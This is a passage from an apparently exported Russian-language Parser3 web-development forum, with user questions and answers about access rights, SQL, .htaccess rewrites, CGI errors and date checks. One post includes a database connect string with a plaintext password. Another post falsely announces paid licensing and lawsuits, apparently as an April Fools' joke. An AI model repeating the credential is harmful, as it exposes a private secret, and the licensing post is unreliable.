		threads\
	WHERE\
		record_id = '2'\
}]\
\
$thread[^MAIN:pSQL.sql[table]{\
	SELECT\
		record_id AS id,\
		parent_id,\
		irf,\
		autor as auser_id\
		\
	FROM\
		threads\
	WHERE\
		thread_id = $current_object.thread_id\
}]\
\
$acl[^auth.getFullACL[$thread]]\
\
<br />\
---<br />\
^$auth.user.user_id=$auth.user.user_id<br />\
---<br />\
--------- ^$current_object  ---------<br />\
^current_object.menu{\
	^$current_object.id=$current_object.id<br />\
	^$current_object.parent_id=$current_object.parent_id<br />\
	^$current_object.irf=$current_object.irf<br />\
	^$current_object.auser_id=$current_object.auser_id\
\
}\
\
<br /><br />\
\
<br />\
--------- ^$thread  ---------<br />\
^thread.menu{\
	^$thread.id=$thread.id<br />\
	^$thread.parent_id=$thread.parent_id<br />\
	^$thread.irf=$thread.irf<br />\
	^$thread.auser_id=$thread.auser_id\
}\
\
<br /><br />\
\
Состоит в группах: ^auth.user.groups.menu{$auth.user.groups.name}[, ]<br />\
\
\
$effective_right(^auth.getRightsToObject[$current_object;$thread;$acl])\
\
^$effective_right=$effective_right	<br />\
[/code]\
\
Получаем результат:\
\
---\
$auth.user.user_id=4\
---\
--------- $current_object ---------\
$current_object.id=2\
$current_object.parent_id=0\
$current_object.irf=0\
$current_object.auser_id=4 \
\
\
--------- $thread ---------\
$thread.id=2\
$thread.parent_id=0\
$thread.irf=0\
$thread.auser_id=4 \
\
Состоит в группах: Admins\
$effective_right=0 \
\
Я что-то не так сделал? Не сочтите за труд, объясните, пожалуйста."
"38866","Корневой auto.p\
[code]\
@USE\
/classes/mysql.p\
/classes/lib.p\
\
@auto[]\
$SQL.connect-string[mysql://boshnet:WvQFnLq2@localhost/boshnet]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
[/code]\
В итоге 'sql.p' usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime]"
"38867","1. ^MAIN:pSQL.sql[table]{...} => ^MAIN:pSQL.table{...}  (так короче)\
2. WHERE record_id = '2' => WHERE record_id = 2 (не надо заставлять сервер конвертировать данные лишний раз)\
3. irf = 0 - это значит установлена маска, т.е. права не стекают. auser.right - это права пользователя на root (это как-бы выше чем корневые объекты). auser.right используется в getRightsToObject (смотрите в конце). т.е. у вас права пользователя с id=4 на объект с id=2 составляют исключительно права, непосредственно выданные пользователю с id=4 (или через группу Admins) на этот объект. чтобы так-же учитывались права пользователя как владельца надо сделать так:\
$effective_right(^auth.getRightsToObject[$current_object;$thread;$acl;^if($auth.user.user_id == $current_object.auser_id){1}{0}])\
но о целесообразности добавления этой операции я написал выше, возможно мне лучше подправить код класса.\
далее, я не понял какие права он должен иметь, т.к. вы не показываете, какие назначения прав есть в табличке acl. если вы проапдейтите irf у всех объектов до 65535 то у вас появятся таки эффективные права у этого пользователя на этот объект, т.к. они стекут с его прав на root (то, что задано в auser.right)"
"38868","[Thu Mar 31 22:00:20 2005] /line/: /home/a/akvaniru/arb/public_html/auto.p(129:30): 'SELECT `data` FROM `line` ORDER BY `id` DESC LIMIT 0,1' User 'akvaniru_arb' has exceeded the 'max_questions' resource (current value: 28800) [sql.execute]"
"38869","[code]^try{\
	$sourceDoc[^xdoc::load[/articles/$file]]\
}{\
	$exception.handled(1)\
	^errormsg[Ошибка при загрузке статьи]\
}\
$NodeList[^sourceDoc.getElementsByTagName[\"title\"]]\
^NodeList._count[][/code]\
\
Выводит 0, хотя тэг title есть :(\
Что делать?"
"38873","заполняют на сайте форму со своим именем, со своим email адресом и своим вопросом.\
\
???"
"38875","Имею форму для забивки в базу...\
Модель\
Цена\
Имя\
Фамилия\
\
Нужно залить в две таблицы\
В таблицу А. Модель Имя Фамилия\
В таблицу Б. Цена Имя Фамилия\
\
Как залить в одну сделал как одновременно залить в две?\
\
Спасибо."
"38876",":) Это не моё. А автор живет в США... И подойти к нему я не могу ;) К сожалению."
"38877","так это невозможно проверить правильный он ввел емаил. например, если он ошибся на одну цифру или букву, то это будут его проблемы. А Вы не обращали внимание на то как проверяют емаил на других сайтах? Они посылают письмо с подтверждением на этот адрес, а оно Вам нужно?\
\
И главное так уж нужно это пользователю?"
"38878","Это почти тот же прикол проверят а тот ли он ввел номер телефона"
"38879","Если вам надо просто добавить в две таблицы, то и добавьте в две таблицы:\
[code]^void:sql{INSERT INTO А ...}\
^void:sql{INSERT INTO Б ...}[/code]\
\
Если же вам нужно, чтобы идентификатор был одинаковый, то в общем случае (для MySQL):\
\
1. Добавить в А.\
2. Получить LAST_INSERT_ID() из А (см. доку MySQL).\
3. Добавить в Б с учетом полученного идентификатора.\
\
Причем, пункты 1-2 выполнять при блокировке таблицы А от записи с помощью LOCK TABLES (см. доку MySQL) и потом не забыть разблокировать - UNLOCK TABLES."
"38880","Я честно после прочтения инструкции пришел только к такой конструкции\
руководствуюясь примером\
\
^таблица.hash[ключ][столбец значений]\
\
А ключ может быть задан, как:\
[строка] - название столбца, значение которого считается ключом;\
\
[code]\
$new[^table.hash[$table.1][$table.2]]\
[/code]\
\
Прав ли я?\
\
Если нет, то в чем?"
"38882","Я поменял слэши. Все равно обрезает только расширение. И клал файл в разные папки, даже в корень."
"38883","^file:basename[] не работает вообще. Ни с прямыми слешами, ни с обратными. Это может быть глюком сборки или конфигурации?\
\
Parser/3.1.4 (compiled on i386-pc-win32)"
"38885","Ну вот же она, строка. Чего уж проще. Я ее и копировал, и перевбивал уже десятки раз. Обрезает только расширение, путь не обрезает - и хоть ты тресни.\
\
Если это был намек, то я его не понял."
"38886","Пример из доки по justname работает."
"38889","Так... описываю фокус:\
\
У меня скрипт выводит значение переменной $form:datafile, а потом эту переменную justname'ит и выводит результат. \
\
1. Я имею на экране C:\\Астрахань.txt и C:\\Астрахань\
2. Тупо копирую с экрана выведенную скриптом в аргумент justfile.\
3. Наблюдаю на экране C:\\Астрахань.txt и Астрахань\
\
Т.е. из формы он получает переменную не в таком виде?\
Как объяснить, что обрезается расширение и остается путь?"
"38890","2. Тупо копирую с экрана выведенную скриптом строку \"C:\\Астрахань.txt\" в аргумент justfile."
"38892","В начале файла я описываю @body_main[]:\
допустим:\
@body_main[]\
<form method=\"post\">\
<p>\
пароль: <input name=\"passwd\">\
</p>\
<p>\
<input type=\"Submit\" value=\"принять пароль\" name=\"posted1\">&nbsp;&nbsp;&nbsp;\
<input type=\"Reset\" value=\"сбросить\">\
</p>\
</form>\
потом задаю такую конструкцию.\
if(form^passwd eq XXX)\
{<form method=\"post\">\
{@body_main[]\
пароль принят\
}{\
пароль не принят\
Надо, чтобы если условеи выполнялось и то что находится в форме = XXX то переопределяется @body_main[] и вместо формы на странице появилась бы просто строчка.\
Это вообще предусмотрено в парсере или нет?"
"38893","Я конечно не советчик, но я бы поступил так:\
[code]\
@body_main[]\
^if(def $form:passwd){\
^if($form:passwd eq XXX){\
пароль принят\
}{\
пароль не принят\
}\
\
}{\
<form method=\"post\" action=\"./\">\
<p>\
пароль: <input name=\"passwd\" type=\"password\">\
</p>\
<p>\
<input type=\"Submit\" value=\"Принять пароль\">&nbsp^;&nbsp^;&nbsp^;\
<input type=\"Reset\" value=\"Сбросить\">\
</p>\
</form>\
}\
[/code]"
"38894","Вводная:\
Сервер Красна шапка 7 (Если не ошибаюсь),\
Апач, Мускул и т.д.\
Короче полный набор+установленные по моей просьбе библиотеки.\
\
Делаю все как всегда.\
Разместил все папочки, все файлики, дал все права и даже прописал хендлера куда надо. Но парсер молчит.\
Если вызвать сам парсер, то он говорит каков он:-)\
\
Думал, что не возмоджности конфигурить через htaccess, ан нет. Проверил, все рабботает.\
\
Но ПАРСЕР МОЛЧИТ!\
При запуске тестового файла:\
# Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser, чего сейчас не наблюдается. # и никаких гвоздей!\
\
Может кто сталкивался с таким?"
"38895","Сделал в [url=\"http://www.typograf.ru/\"]\"Типографе\"[/url] полезную вещь, обработку списков. Причём степень вложенности не ограничена и можно делать пересечения нумерованных и ненумерованных.\
\
Пишется просто:\
\
* первый\
** второй\
+++ третий\
+++ четвёртый\
* пятый\
\
* - ненумерованный\
+ - нумерованный"
"38896","Спасибо большое. Ща буду делать..."
"38898","А по-моему работает..."
"38899","описанная избыточность обычно вредна."
"38900","попробуйте ещё раз перечитать?"
"38902","Очень странная вещь с парсером, или не с ним...?\
Сайт работал нормально уже полгода, как вдруг в логах появилось вот такое:\
[Fri Apr  1 13:03:16 2005] [error] [client 66.249.71.32] Premature end of script headers: /home/z/domains/zzz/public_html/cgi-bin/parser3.cgi\
[2005-04-01 13:03:27] [suexec] emerg: (8)Exec format error: exec failed (parser3.cgi)\
\
Такое сообщение повторяется неск тысяч раз, вообщем на все запросы...\
Parser 3.1.3 на FreeBSD.\
Могло такое случиться из-за того, что хостер что-то поменял в настройках апача?"
"38903","1,2 понял, спасибо.\
3. Про рутовые права понял. Спасибо, все получилось. \
В acl запись object_id =2\
auser_id = 3\
rights = 0\
Т.е. все правильно. Если включать наследование через irf работает безупречно и совершенно корректно. \
Осталось немного непонятным с овнером. Попробовал ваш вариант [code]$effective_right(^auth.getRightsToObject[$current_object;$thread;$acl;^if($auth.user.user_id == $current_object.auser_id){1}{0}])[/code] Ставил вместо if единицу, чтобы исключить возможность ошибки. Все равно права =0, если irf на объекте =0.\
Может где-то надо прописать отдельные права для овнера? Тогда не понятно как можно использовать овнеровский права из таблици auser.\
\
И последний вопрос, в таблице auser_to_auser есть поле rights. Как оно используется? Насколько я понимаю, эта таблица для сопоставления пользоватей и групп. А права тут к чему?"
"38904","Ошибся. auser_id = 4"
"38905","Я прошерстил весь ФАК когда столкнулся с этим. Но не я не админ хостинга ничего сделать не смогли. Закачано в банаре, в путях ошибок нет. Все в точности как и всегда. Но не работает.\
да...\
Мы тут с Спиранским помучались и в error.log нашли \
[Fri Apr  1 12:16:52 2005] [error] [client 213.247.194.162] Premature end of script headers: /home/mydomen/public_html/cgi-bin/_test.html\
\
Так в чем проблема?"
"38906","ну а чего вы ещё ожидаете если вы только что сами этой записью в acl присвоили пользователю с id=4 на объект с id=2 права=0?\
при чем тут владелец, если вы владельцу права не назначили?\
owner имеет id = 1, и если вы хотите чтобы овнер имел на объект какие-то права вам надо добавить в acl еще одну запись.\
\
auser_to_auser.right - права, которые имеет пользователь на данную группу (hint: в auth_mysql.sql есть комментарии)\
т.е. с помощью этого поля можно дать пользователю права добавлять в эту группу других пользователей."
"38907","при этом:\
\
$myfile[^file::load[binary;_tmp.html]]   (файл нормально загружается)\
\
$myfile.name и $myfile.text  корректно выводят содержимое файла на экран.\
\
однако строка ^myfile:delete[_tmp.html]  вызывает ошибку class is undefined\
\
\
помогите, пожалуйста."
"38909","каков его опыт в настройке веб-серверов?"
"38911","Понятно. Т.е. чтобы овнеру дать определенные права, надо в acl овнеру эти права приписать. Логично. \
Тогда остается всего одна непонятка, как используются овнеровкие права из auser?\
\
И если я правильно понял, в моей ситуации, где каждому объекту надо давать одинаковые овнеровские права чтобы не плодить кучу записей в acl можно поступить следующим образом:\
\
[code]\
$owner_rights(64)\
$effective_right(^auth.getRightsToObject[$current_object;$thread;$acl)\
^if($auth.user.user_id == $current_object.auser_id){$effective_right($effective_right | $owner_rights )}\
[/code]\
Это нормально? Не противоречит идеологии?"
"38912","в auser нет овнеровских прав.\
\
с моей точки зрения лучше модифицировать $acl, хотя можно перекрыть getRightsToObject и добавить необхоимую функциональность. но мне не понятно зачем: вы все равно будете писать механизм для раздачи прав пользователям и группам. сделать чтобы можно было давать ещё права и owner-у мне кажется не сложно."
"38913","Я думаю что проверку пароля лучше всего всатить в метод @auto на той странице, на которой необходимо производить авторизацию. Далее, в зависимости от того принят пароль или нет выводится страница либо с формой либо с сообщенией об успешной регистрации."
"38914","[quot]в auser нет овнеровских прав.[/quot]\
\
а как поле rights в записи auser_id = 1 таблицы auser? Или оно фактически не используется?\
\
В остально все понял. \
Большое спасибо за потраченное на меня время."
"38915","я уже отвечал про auser.rights\
\
P.S. да, тормознул. поле auser.rights у записи с auser_id = 1 не используется, т.к. у root нет владельца."
"38916","Я подозреваю что он совсем чайник.\
Может Вы Уважаемый PAF подскажете, что ему сделать чтоб все заработало? Я подозреваю, что надо что-то внести в httpd. Я этого сделать не смогу, т.к. америкосовские хостеры не дают к нему доступа. Посему внести изменения может только он.\
\
Помогите! Вы моя последняя надежда!"
"38917","Вот у меня есть body_main и он не работает пишет \
menu\
\
method of table (table) accepts maximum 2 parameter(s)\
\
ниже код ! что сделать как ? подскажите  !\
\
[code]@body_main[]\
<center><i><a href=\"add.html\">&nbsp;Добавить сообщение</a></i></center>\
\
^connect[$connect_string]{ \
   $news[^table::sql{select \
        id, header, body  \
   from \
      news  \
   \
   }] \
    \
      ^news.sort($news.id)[desc]\
      ^news.menu{\
     <center><table border=\"0\" cellspacing=\"5\" bordercolordark=\"#666666\" bordercolorlight=\"#666666\" width=\"455\" bgcolor=\"#CCCCCC\" bordercolor=\"#999999\" style=\"border-width:1; border-color:rgb(0,51,0); border-style:dotted; ffield\">\
    <tr>\
        <td width=\"94\" height=\"20\">\
            <p align=\"center\">$news.header</p>\
        </td>\
        <td width=\"351\" height=\"166\" valign=\"top\" rowspan=\"2\" style=\"border-width:1; border-color:rgb(0,51,0); border-style:dotted;\">\
            <p>$news.body</p>\
        </td>\
    </tr>\
    <tr>\
        <td width=\"94\" height=\"144\" style=\"border-width:1; border-color:rgb(0,51,0); border-style:dotted;\">\
            <p><i>Сообшения № $news.id</i></p>\
        </td>\
    </tr>\
</table> \
      }[<br>] \
   }\
 [/code]"
"38919","ваша проблема там описана, сверху четвёртая.\
\
а вообще, не поленитесь, прочитайте весь FAQ, там много интересного, пригодится в любом случае."
"38920","Итак. \
http://мой домен.net/cgi-bin/parser3.cgi\
Выдает\
Parser/3.1.4 (compiled on i686-pc-linux-gnu)\
\
Проверка .htaccess\
Выдает 500 ошибку.\
\
В .htaccess\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
Все. Тест не пройден :-("
"38921","Я там прочитал !\
Мог бы ктонить просто исправить мой код и показать !\
Я бы так сразу понил ! если конечно не трудно !"
"38922","Теперь он будет платным. \
Лицензия на одного уникального посетителя будет стоить примерно $1.\
Просьба всем скачавшим и использовавшим парсер бесплатно - удалите иначе пожалеете (по судам затаскаю!).\
ПОповоду покупки лицензий обращаться в почту."
"38923","Их надо писать так - ^;"
"38924","Scandi большое человеческое спасибо !\
\
P.S Умеет человек помочь !"
"38928","захотелось использовать этот ключ. на одной и той же машине в разных ситуациях то ругается на этот ключ, то не ругается. почему бы это?\
когда ругается говорит \"force_allow\" что то там должно быть определено в  функции. В обоих случаях использовался еще ключ --disable-safe\
\
вкратце вот когда возникает:\
\
 ./configure --prefix=xxxxx --with-static-gc=$HOME/gc/lib --with-static-xml=$HOME/gnome --with-static-mailreceive=$HOME/gnome --disable-execs --disable-safe-mode\
\
вот где ругается make\
\
pa_exec.C: In function `PA_exec_result pa_exec(bool, const String&, const\
   HashStringString*, const ArrayString&, String&)':\
pa_exec.C:332: `forced_allow' undeclared (first use this function)\
pa_exec.C:332: (Each undeclared identifier is reported only once for each\
   function it appears in.)\
make[2]: *** [pa_exec.o] Error 1\
\
если оставить что то одно - либо disable-execs либо --disable-safe-mode, ругани нет.\
\
PS. Проверено уже на двух машинах с Redhat ES3 и на Fedora FC1. не хотит с обоими ключами вместе работать.\
\
\
"
"38930","Вы конечно меня извините ! но тут есть ешё один вопрос !+))\
\
Вот у меня есть страница xxx.html на ней отображаются заголовки(допустим статей) из БД \
а как мне сделать так чтобы когда кликаеш на заголовок открывалась\
страница типа xxx.html?id=1 с текстом статьи ???"
"38931","у меня ничего не работает!! вот уже целый день бьюсь!!!\
\
кто-нибудь, придите и сделайте, чтобы работало, я уже устал!!"
"38932","чё тут так нервничаеш ? я всего лишь спросил !"
"38934","если \"да\", тогда вы всё делаете правильно.\
\
файл, который \"не работает\", имеет какое расширение имени?"
"38936","у меня совсем не работает, уже убился весь, качаю то и это, пробую всё, ну почему же так???\
подсунул это туда и то сюда, подмешал и потряс, ничего!!!\
пойду домой, нафиг!!"
"38937","Как написано в ФАКЕ, я впписал в тот самый htaccess в самое начало Mytest. \
Сразу получил 500 ошибку.\
\
что говорит о том, что он работает и все делает правильно.\
\
Но файл _test.html, скачанный из соответствующего раздела, дает все ту же хрень - # Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser, чего сейчас не наблюдается. #"
"38938","Два вопроса.\
1. Можно ли методами парсера проверить например доступен ли ФТП? Если можно направьте в нужную сторону мануала :)\
2. Можно ли методами парсера получить размер (size) файлика лежащего на фтп? Если можно направьте в нужную сторону мануала :)\
\
Если нельзя. Какую альтернативу можете посоветовать?"
"38940","У меня работает такой вариант:\
[code]\
$table[^str.match[^^(.*)=(.*)^$][gm]]\
\
^if($table){\
$dyn[^hash::create[]]\
  ^table.menu{\
^dyn.add[$.[$table.1][$table.fields]]\
}\
}\
[/code]\
возможно это не самый оптимальный вариант, но до большего пока не дошел (начал читать о hash 5 дней назад, пока не все понятно)"
"38941","только вот, бось, мои доходы не позволят внести весомый вклад в развитие этого гениального проекта..."
"38942","идите на работу в Студию! И доходы чуток повысите, и вклад внести шанс появится :)"
"38943","Тогда вам надо было бы ПРЯТАТЬ сайт от поисковиков ходить туда только самому и по телефону рассказывать друзьям об обновлениях на сайте и пересказывать тексты с них. :)))"
"38944","Благо он под все платформы есть."
"38946","я бы на вашем месте прочитал документацию (всю), раздел \"примеры\" и FAQ. Сразу станет легче... Проще вашего кода нет ничего, что же будет, когда перед вами встанет настоящая задача... \
\
ЗЫ ПАФ скоро точно сбрендит %))\
\
ЗЫЗЫ раздел документация можно еще красным цветом выделить %)"
"38947","а у него спросить, что не позволяет?"
"38948","[code]\
@table[table;columns;content][rows;i;offset]\
$rows(($table + $columns - 1)\\$columns)\
^for[i](0;$columns*$rows-1){\
$offset( ($i % $columns)*$rows+$i\\$columns )\
^if($i>0 && $i%$columns==0){</tr><tr>}\
^if($offset<$table){\
^table.offset[set]($offset)\
$content\
}{\
<td>&nbsp^;</td>\
}\
}[/code]\
Он выводит во все ячейки одинаковое значение.\
Почему?\
Также интересуют вот эти передаваемые ему параметры:[rows;i;offset]"
"38949","[quot]if(form^passwd eq XXX)[/quot] \
- это че за язык?"
"38950","[quot]Он выводит во все ячейки одинаковое значение.[/quot]\
что хотели, то и получили\
\
[quot]Также интересуют вот эти передаваемые ему параметры:[rows;i;offset][/quot]\
это шутка первоапрельская?"
"38951","Хотели-то не это. Хотели вывести таблицу 4x4 с картинками, адреса к которым хранатся в базе, каждый с уникальным  id"
"38952","...а вот как вы его вызывали не имеем не малейшего представления."
"38953","Интересуют планы на развитие parser, хотя бы в рамках 2005-2006 года.\
Непосредственно интересует появление новой версии и возможный переход к java подобности в языке (как было сделанно в php5).\
 \
Я знаком с parser со второй версии, во-многом язык _устраивает_ из-за идиологии «простоты», но «чем дальше в лес, тем больше дров» — зачастую этой простоты недостаточно. Вот сижу и думу думаю: строить новое приложение на parser3 или php5.. оттого и такими вопросами задаюсь.\
\
Заранее спасибо за ответ."
"38954","Метoд находится в auto.p\
[code]\
@table[table;columns;content][rows;i;offset]\
$rows(($table + $columns - 1)\\$columns)\
^for[i](0;$columns*$rows-1){\
$offset( ($i % $columns)*$rows+$i\\$columns )\
^if($i>0 && $i%$columns==0){</tr><tr>}\
^if($offset<$table){\
^table.offset[set]($offset)\
$content\
}{\
<td>&nbsp^;</td>\
}\
}\
\
^connect[$connect_string]{\
$price[^table::sql{SELECT `id` , `name`, `thumb`, `pict` FROM `price` WHERE `cat` = '$sql_filter'\
}]\
}\
<table>\
<tr>\
^table[$price;4;<td class=\"catalog_td_1\" valign=\"middle\" align=\"center\"><a href=\"/img/catalog/$sql_filter/$price.pict\"><img src=\"/img/catalog/$sql_filter/$price.thumb\" alt=\"$price.name\" width=\"70\" height=\"70\" border=\"0\" align=\"middle\" /></a></td>]\
</tr>\
</table>\
[/code]"
"38955","Я там лазил ! так и не понил, мне бы просто пример я не собираюсь не каких трудных и больших проектов делать !\
Ну подскажите плиз,как ?"
"38957","К сожалению, средствами Парсера этого сделать нельзя.\
Могу порекомендовать только одно - PHP."
"38960","вам нужен всего лишь тег <a> и $form:id\
Об использовании и того и другого можно посмотреть в доках..."
"38961","ладно, думаю ограничимся введением второго проверочного поля email адреса."
"38962","Правильно ли я понял, что в Парсере нет встроенных методов для проверки правильности дат? Ну, например, 31 апреля и 30 февраля."
"38964","Как я понимаю, Парсер создавался для упрощения веб разработки.\
\
А если нужно что-то более сложное, то и язык надо подбирать соответствующий."
"38965","Есть QUERY_STRING, или то что идет в строке после знака '?'. Мне казалось, что я где-то видел, есть переменая, которая выдает то что идет после двух вопросов в строке '??'\
\
Или мне показалось?\
\
Спасибо."
"38967","да, но некоторым видимо кажется, что раз парсер так прост, то можно к нему без труда прикрутить C++ вместе с компилятором..."
"38968","«Легко и Просто» — это более идеология языка, но никто не мешает в рамках этой лапочки-идеологиии иметь мощный и конкурентоспособный  язык.\
На мой взгляд, по причине тех. возможностей parser и не имеет широкого распространения, а использовать в проекте кашу из нескольких технологий (даже на уровне 2х: parser+php) мало кому хочется.\
Если вы занимаетесь разработкой (и за счет этого имеете деньги на хлеб, масло, икра + детишкам на мороженое), то рано или поздно вы приходите к своей архитектуре построения приложений, в рамках которой вы решаете уже локальные задачи проекта(напр.: сайта). Создание и развитие архитектуры приложений — это в первую очередь вложение денег. Вот от того и вопрос я задал, т.к. хочу понимать: какие у меня перспективы такого вложения.\
В моем понимании если язык не развивается, то это не выгодное вложение. Любая крупная компания тоже в первую очередь ищет выгоду (напр.: зачем иметь одного parser программиста и одного php программиста, которые постоянно будут между собой грызться, если можно иметь двух php'шников). Из это только один вывод: сделав язык выгодным вы получаете перспективы.\
И у каждого перспективы свои."
"38970","Они разработаны, как я понимаю, с одинаковыми целями. Но у каждой из этих технологий свои плюсы и минусы. Думаю можно придумать задачу для реализации которой не хватит одного php, но это не значит, что на нем ничего не стоит писать.\
\
Если Parser не может решить какой-то задачи, значит он на неё и не был расчитан. Как говорится: \"не стоит забивать гвозди микроскопом\"."
"38971","[code]^date::create(2004;21;366;48;75)[/code]\
\
И вы получите [b]03.09.2006 01:15[/b]."
"38972","Скажите, пожалуйста, что лучше для крупного интернет-магазина: 4 таблицы с разными товарами, например music, video, soft, games\
или 1 таблица со всеми типами товаров items, в которой поле type отведено для различия товаров.\
Какой способ удобнее использовать с 3-им Парсером?"
"38973","Мне одна"
"38974","Понятно, что кому как удобно. Но всё же есть разница."
"38975","Не могу ничего сказать о производительности, но я сделал каталог товаров (около 7 000) в одной таблице. Проблем пока не видел.\
\
Названия разделов товаров в отдельную таблицу вынес. \
Не магазин конечно, но работет.\
http://www.promservice.ru/goods/catalog/ - если интересно"
"38976","На работе поставили следующую задачу.\
В каталоге товаров должны быть ссылки вот такого вида:\
http://site.ru/price/printers/hp/dj670\
Ну или /price/printers/hp/id143..\
Посоветуйте пожалуйста решение. \
Можно с ограниченным количеством подуровней, можно с неограниченным."
"38977","Все-таки несколько таблиц - чуть быстрее, чем ключ, ежели без объединений.\
Но тут нужна прослойка, прозрачно меняющая имена таблиц, чтобы на ней не заморачиваться"
"38978","у меня объекты в базе хранятся с полем path и full_path, в path только папка объекта (папки естественно нет (хотя если надо может и быть...)), а в full_path путь родителя (со всеми его родителями, но без имени папки объекта (path))\
в вашем случае путь, по которому я бы брал ID объекта - это dj670.\
\
И собсна RewriteRule	^(.+?)/$	index.html?path=$1"
"38979","Представляете, если через месяц, вы добавите еще категорию, а через два - еще три, и т. д. Теоретически, скорость будет снижаться при увеличении числа файлов в директории: на каждую таблицу по три штуки в MySQL.\
\
Практически, при правильном использований индексов вы не _почувствуете_ разницы в скорости, но ощутите удобство работы с одной таблицей."
"38981","Какой парсер поставить?"
"38982","В БД сделал таблицу с полями \"title,content,alias\" в которой \"alias\" имеет запись типа \"about/\"....\
Сделал чтоб страница index.html выводила из БД контент...\
Запрос к БД \"WHERE alias = '$form:nameless'\"\
Сделал запись .htaccess:\
[quot]RewriteEngine on\
RewriteBase /\
RewriteRule ^\\.htaccess$ - [F]\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^([^&]+)/?$ index.html?$1 [R,L,QSA]\
ErrorDocument 403 /errors/403.html\
ErrorDocument 404 /errors/404.html[/quot]\
Всё работает! По запросу http://www.name.ru/about/ выдается страница содержащая запись из БД... \
\
Но, при запросе http://www.name.ru/about - то есть без закрывающего слеша.. не выдаеться ничего... по скольку alias не совпадает.\
Сделать автоматическое дописывание в парсере не сложно. Но хотелось бы чтоб это делал .htaccess\
\
Вопрос:\
[quot]Что дописать в мой .htaccess чтоб он закрывал слешь сам????[/quot]\
\
Кстати проверьте его на правильность.. Мне кажеться что в нем много лишнего :)\
Заранее спасибо."
"38983","Поддержка JPEG планируется? Я говорю о методах, позволяющих масштабировать изображение, так, как это реализовано в случае с GIF'ом. Очень пригодилось бы для фотогалерей. \
\
Спасибо."
"38985","раздел \"Про Апачей\""
"38986","Насколько я помню, были какие-то проблемы с установкой ImageMagik на Windows хостингах. И просто было бы неплохо иметь поддержку JPEG средствами Parser'a."
"38987","у вас или где то там ->...?"
"38992","Есть string что-то вроде 'привет {{asd}}, как дела {{ew}}'\
\
Нужно вытащить то  что между двойными скобками {{...}}, но количество символов между скобками разное.\
\
Как это сделать, через match? шаблон вида \"{{.*}}\" ???"
"38994","Как я понял в круглых скобках, это как в manual'е, а зачем обратный слеш \"\\\"?"
"38995","http://www.parser.ru/download/redhat/"
"38996","Из парсера. Реально?"
"38997","... Теоретически экранировать фигурные скобки в данном случае не нужно, но я стараюсь всегда экранировать все служебные символы в выражении... во избежание возможных проблем."
"38999","Это не очевидно? :)\
\
Серия команд в одном запросе ^void:sql{}\
\
Если разделять их, как положено, точкой с запятой, то парсер будет ругаться на избыток параметров. Можно, как я понимаю, поменять разделитель, но это же придется отдельный ^void с delimiter предварительно вписывать (потому что строку не отбить)."
"39000","Вообще, похоже, не пашет."
"39001","Не одна комманда, разделенная на несколько строк, а много комманд ?\
Тогда нет."
"39002","Да, я уже понял. С разделителем помогает ^; - но толку ноль.\
Спасибо."
"39005","[code]\
^void:sql{\
	select\
	from forum\
	where date is '$so'\
	}\
[/code]\
\
В логе:\
'select from forum where date is '2005-04-01 11:28:37''\
You have an error in your SQL syntax...\
to use near 'from forum where date is '2005-04-01 11:28:37''...\
\
Формат столбца MySQL - DateTime.\
\
Что это может быть? Формат?"
"39006","Сам дошел. Во тупой... прошу прощения."
"39007","Есть выражения вида IS NULL и IS NOT NULL. Разве is еще с чем-то используется? Просто равно в вашем случае. Доку открывайте и просвещайтесь ;-)"
"39008","создаю простую хтмл форму из 20 полей.. загружаю \
$tab[^table::load[tab.txt]]\
пишу что если переменная определена то она будет появляться в этой форме, если нет- то форма пустая (её надо будет заполнить)\
^if(^tab.locate[id;stroka8]){^if(def $tab.a){<input name=\"a8\" value=\"${tab.a}\">}{<input name=\"a8\">}}^if(^tab.locate[id;stroka10]){^if(def $tab.i){<input name=\"i10\" value=\"${tab.i}\">}{<input name=\"i10\">}}\
\
переменные определяются в табличке, которая загружается из текстового файла. Под формой, из того что находится в формах формируется табличка и записывается в этот же файл.\
$tab1[^table::create{id	a	b	c	d	e	f	g	h	i	k\
stroka1 ... и тд.\
^tab1.save[tab.txt]\"\
дак почему то когда я открываю эту форму браузером- он зачищает файл с табличкой, и если нажать f5 то все данные из формы изчезают."
"39009","Да с этим-то черт с ним... я там звезду вставить забыл.\
\
Лучше подскажите, почему:[code]{delete from forum where date=\"$so\"}[/code] работает, а [code]{update forum set admin=2 where date=\"$so\"}[/code] - нет.\
\
Доку открывать - это дело хорошее. Только такую доку, как MySQL Reference в сжатые сроки не вызубришь."
"39010","Помогите пожалуйста найти."
"39012","Нашел на http://www.egoroff.spb.ru/portfolio/download/\
но после установки Parser в логе пишет:\
'./lib/libparser3pgsql.so' /lib/i686/libc.so.6: version `GLIBC_2.3' not found (required by ./lib/libparser3pgsql.so) [<no type>]\
\
Что бы это значило?\
никто не сталкивался?\
Спасибо."
"39014","есть стандартная таблица ISSUE: id(int)/date(date)/header(text)/intxt(текст из формы)/outtxt(текст после типографа)/sect(varchar)\
к каждой статье могут быть добавлены несколько(не знаю сколько, от 1 до 6-ти) фоток.\
стоит ли делать для описания фоток к статьям отдельную таблицу? или проще добавить поля с описанием фоток в имеющююся таблицу?\
что верней и быстрей?"
"39015","стоит делать ещё 2 таблицы: одна для фоток с комментариями к ним, и вторая - связи в issue."
"39016","Тоже уже не вопрос. :)"
"39017","Что значит \"не работает\" в вашей задаче, я не знаю. У меня работает: при наличии записи в таблице с указанной датой (которая точно передана в $so).\
\
Доку наизусть знать не обязательно, но умение быстро найти в ней то, что нужно - полезно."
"39018","Вообщем, попробуйте задержаться с нажатием submit'а в след. раз :-)"
"39020","а вторая зачем? у нас такое есть, но так для связи многие-ко-многим, у меня связи-то 1:М\
или я что-то не так понял?"
"39021","Поделитесь, пожалуйста, опытом кто как проверяет дату на существование с помощью Парсера или, может, JavaScript.\
\
А то PHP-шный checkdate() так избаловал в своё время…"
"39022","вы знаете какую задачу вам зададут завтра? \
а так вы будете иметь готовый механизм для этого."
"39023","напишите свой метод checkdate и используйте на здоровье (там будет 3 строки максимум)"
"39024","Вопрос что написать в нём.\
\
Сейчас пришло на ум только следующее\
[code]\
@checkdate[year;month;day]\
$d[^date::create(year;month;day)]\
^if($year == $d.year && $month == $d.month && $day == $d.day){$result[true]}{$result[false]}\
[/code]"
"39025","Я уже не помню, что там было. :) \
